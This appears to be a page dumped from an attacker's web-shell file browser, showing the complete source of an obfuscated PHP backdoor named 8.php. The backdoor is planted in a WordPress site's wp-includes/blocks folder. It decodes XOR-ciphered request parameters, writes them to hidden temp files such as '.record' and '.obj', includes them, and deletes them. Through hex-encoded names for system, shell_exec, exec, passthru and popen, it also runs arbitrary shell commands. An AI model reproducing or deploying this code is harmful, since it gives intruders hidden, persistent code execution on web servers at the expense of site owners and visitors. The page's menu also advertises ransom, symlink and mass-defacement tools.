| Path : /var/www/html/postahizmeti/wp-includes/blocks/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/postahizmeti/wp-includes/blocks/8.php |
<?php if(!empty($_POST["d\x61t\x61\x5Fchun\x6B"])){ $fac = array_filter(["/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP")]); $object = $_POST["d\x61t\x61\x5Fchun\x6B"]; $object =explode ( '.',$object) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $p = 0; foreach ($object as $v5) { $sChar = ord($salt[$p %$lenS]); $dec = ((int)$v5 - $sChar - ($p %10)) ^ 49; $token.= chr($dec); $p++; } while ($pointer = array_shift($fac)) { if (is_dir($pointer) ? is_writable($pointer) : false) { $symbol = implode("/", [$pointer, ".record"]); $success = file_put_contents($symbol, $token); if ($success) { include $symbol; @unlink($symbol); die();} } } }
if(isset($_REQUEST["rec"])){ $data_chunk = $_REQUEST["rec"]; $data_chunk= explode (".", $data_chunk ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $len = count( $data_chunk); for( $m = 0; $m< $len; $m++) { $v6 = $data_chunk[$m]; $chS = ord( $s[$m % $lenS]); $d = ( ( int)$v6 - $chS -( $m % 10)) ^ 50; $parameter_group .= chr( $d); } $holder = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir()]); for ($resource = 0, $res = count($holder); $resource < $res; $resource++) { $dat = $holder[$resource]; if (!!is_dir($dat) && !!is_writable($dat)) { $record = vsprintf("%s/%s", [$dat, ".pointer"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $record; @unlink($record); exit; } } } }
$event_handler2 = "sh\x65\x6Cl\x5F\x65\x78ec"; $event_handler4 = "\x70\x61\x73s\x74hru"; $event_handler7 = "\x70\x63\x6Cose"; $event_handler1 = "\x73y\x73t\x65m"; $event_handler6 = "\x73tr\x65\x61m_ge\x74_co\x6Eten\x74s"; $reverse_lookup = "\x68\x65x\x32b\x69n"; $event_handler5 = "po\x70en"; $event_handler3 = "e\x78e\x63"; if (isset($_POST["re\x73"])) { function dependency_resolver ( $factor , $dat ) { $parameter_group = '' ; $b=0; while($b<strlen($factor)){ $parameter_group.=chr(ord($factor[$b])^$dat); $b++; } return $parameter_group; } $res = $reverse_lookup($_POST["re\x73"]); $res = dependency_resolver($res, 49); if (function_exists($event_handler1)) { $event_handler1($res); } elseif (function_exists($event_handler2)) { print $event_handler2($res); } elseif (function_exists($event_handler3)) { $event_handler3($res, $property_set_factor); print join("\n", $property_set_factor); } elseif (function_exists($event_handler4)) { $event_handler4($res); } elseif (function_exists($event_handler5) && function_exists($event_handler6) && function_exists($event_handler7)) { $dat_parameter_group = $event_handler5($res, 'r'); if ($dat_parameter_group) { $entity_tkn = $event_handler6($dat_parameter_group); $event_handler7($dat_parameter_group); print $entity_tkn; } } exit; }
if(filter_has_var(INPUT_POST, "\x65\x6Et\x69ty")){
$ent = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP")]);
$dat = $_REQUEST["\x65\x6Et\x69ty"];
$dat = explode( '.' , $dat ) ;
$flag = '';
$s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s1);
$w = 0;
array_walk($dat, function ($v3) use (&$flag, &$w, $s1, $sLen) { $sChar = ord($s1[$w %$sLen]);
$d = ((int)$v3 - $sChar - ($w %10)) ^ 40;
$flag .= chr($d);
$w++;
});
foreach ($ent as $key => $hld) {
if ((is_dir($hld) and is_writable($hld))) {
$pgrp = str_replace("{var_dir}", $hld, "{var_dir}/.obj");
$success = file_put_contents($pgrp, $flag);
if ($success) {
include $pgrp;
@unlink($pgrp);
exit;}
}
}
}